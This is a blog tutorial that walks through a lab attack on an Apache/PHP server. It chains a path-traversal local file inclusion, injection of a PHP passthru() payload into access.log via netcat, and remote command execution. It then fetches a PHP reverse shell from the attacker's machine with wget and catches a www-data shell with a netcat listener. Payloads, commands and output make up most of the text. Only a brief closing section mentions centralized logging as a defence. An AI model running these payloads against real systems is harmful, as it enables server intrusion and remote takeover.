Log injection to shell execution

By Adam Hirsch –


In this blog, we will demonstrate about log file injection, local file inclusion,
and remote code execution using these methods.

Apache normally uses two log files:

access.log, which contains all valid requests to the Web server

error.log, which contains error messages.

The server access log records all requests processed by the server, which means requests made will be stored in the previously mentioned log files. By
utilizing some misconfigured files and permissions, we will be able to inject
code into those locations and execute it. We will wrap up the topic talking
about remote logging and why it’s a preferable solution to log exploitation.


  • The target machine is running a LAMP stack on Ubuntu 16.04.
  • The attacker will be running Kali. This isn’t needed but the included tools are useful and will speed up the set-up process.
  • A PHP file on the webserver that is vulnerable to malicious user input.

Leveraging a vulnerable PHP file

We are going to leverage a vulnerable PHP file which doesn’t validate user input. For simplicity purposes, it will only contain the code that is relevant. This PHP file allows a user to pass variables into the $_GET request.


$content = $_GET[content];




Note: The GET variables are pass through urldecode()  


This PHP file will reside in /var/www/html/temp/ and we will name it test.php. Let’s now query the page and see what we can pull up. If we append ../ after content=? we’ll traverse upwards a directory. In our instance, test.php is located at /var/www/html/temp. Therefore, we will need to traverse upwards 4 times to reach the root directory that the server is running on.

In this example, let’s visit the servers access.log:


Unfortunately, we are not able to view them. This is most likely due to file permissions set on access.log. Viewing error.log, you can see that the include() function was passed in the correct value, but was denied access to view access.log due to permissions.

[Sun Nov 20 01:26:49.886545 2016] [:error] [pid 45795] [client] PHP Warning:  include(var/log/apache2/access.log): failed
to open stream: Permission denied in /var/www/html/temp/test.php
on line 3


Let’s check the file permissions that are set using ls -l.

osboxes@osboxes:/var/log/apache2$ ls -l

total 140

rw-r—– 1 root adm 57641 Nov 20 01:26 access.log

rw-r—– 1 root adm 72465 Nov 20 01:26 error.log

rw-r—– 1 root adm     0 Nov 16
14:40 other_vhosts_access.log


As we thought, other users are not able to read, write, or execute access.log. We will issue the command chmod o+r /var/log/apache2/access.log. Other users should be able to read this file now. It’s possible that these logs may already have been configured with these permissions due to poor practice.

Querying the page with the same method as before now yields the access.log information:


Of course, it is possible to view other valuable files. When trying out other
files or directory’s you may encounter the same permission issues.

What we did is known as exploiting a local file inclusion vulnerability(LFI). There is also remote file inclusion which is worth researching. Next let’s leverage the servers poor configurations further and see what we can do.

Injecting code into the log file

So far, we’re able to traverse the server’s directories and read readable files.
Our previous step will lead us into the next objective; writing code to the log
file. To do this, we’ll use the Netcat utility. This is because sending GET requests in the browser will URL encode the request, making it useless.

An example passing code through the browser:


Here is the log in access.log which is encoded, thus useless. The character symbol < is converted to hexadecimal value %3C  and space
is converted to %20.

[23/Nov/2016:21:12:31 +0000] “GET
/temp/test/php%3C?php%20passthru HTTP/1.1” 404 507 “-“ “Mozilla/5.0 (X11;
Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0”


Fire up Netcat and connect to the web server on port 80 and craft a GET request. I’ll be using the passthru() function which executes an external program and displays raw output. The goal of this is to write our code to access.log.



A sample cutout of access.log on the server shows we successfully injected our code. An attacker may verify this using the pervious example in Leveraging a vulnerable PHP file.

[23/Nov/2016:21:20:20 +0000] “GET /<?php
passthru($_GET[‘input’]); ?> HTTP/1.1” 404 462 “-“ “-“


When querying the same URL, passthru() is not given an argument which triggers a warning that gets logged to error.log. We need to specify what input will be.

[Sun Nov 23 21:26:49.886545 2016] [:error] [pid 45797] [client …] PHP Warning:  passthru(): Cannot execute a blank command in
/var/log/apache2/access.log on line 311


Now our URL will consist of two variables; content= and input=.

Content will remain as ../../../../var/log/apache2/access.log because that’s where our passthru() function is located.

Input will be the command that we want to execute on the system.

Every time the web service needs to access and read the log file it will read the code we injected that contains the passthru() function. Now that we provide an argument for it, such as ifconfig, it will execute that program. Here we see the output in the access.log:


Obtaining a shell

What we want to do is invoke a reverse shell from the Server. We are capable of remotely executing programs on the server from our attacking machine. Let’s create a PHP reverse shell script. I’ll be using this. Change $ip and $port to values that suit your needs.

To get the PHP file onto the Server and execute it, we’ll use a webserver to deliver our malicious code.

Kali Linux has apache2 preinstalled by default. This’ll speed our process.

root@kali:/# /etc/init.d/apache2 start

[ ok ] Starting apache2 (via systemctl):


I’ll save the PHP script at /var/www/html/default.php

I’m going to compress the PHP file so it is not executed when using wget. The reason for this is because the script will fail to daemonise and only provide a shell from the attacker’s machine.

root@kali:/var/www/html# tar –cvzf
default.tgz default.php


root@kali:/var/www/html# ls

default.tgz  default.php


The next steps use the same methods mentions previously. Execute wget on the server to download the compressed PHP file. We are placing the file in /tmp. You could also provide the -O flag to specify where wgetwill download the file to.
/tmp; wget

Decompress the file.
/tmp; tar =xvzf default.tgz

 Begin listening to the port you modified the PHP script to open.

root@kali:/# nc -nvlp 45454

listening on [any 45454]

Finally, executing the PHP file on the server will provide a shell.
/tmp; php default.php


root@kali:/# nc -nvlp 45454

connect to [] from (UNKNOWN) []

Linux osboxes 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18
18:33:37 UTC 2016 x86_64 x86_64 x86_64

 22:32:52 up 1 day,
18:21,  1 user,  load average: 0.95, 0.34, 0.16

FROM             LOGIN@   IDLE

osboxes  tty7     :0               16Nov16  9days
9:15   0.58s /sbin/upstart

uid=33(www-data) gid=33(www-data)

/bin/sh: 0: can’t access tty; job control turned off

$ cd /home

$ ls




Centralized Logging

A common solution to preventing vulnerabilities that were covered is centralized logging. Not only does this help prevent potential breaches of sensitive data but it also prevents the need of sifting through log files diagnosing system or network problems.

Distributed log collectors are a new class of solutions designed for high-volume and high-thorough log and event collection. They are highly scalable and haste analyzing log files. Some examples are:







Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s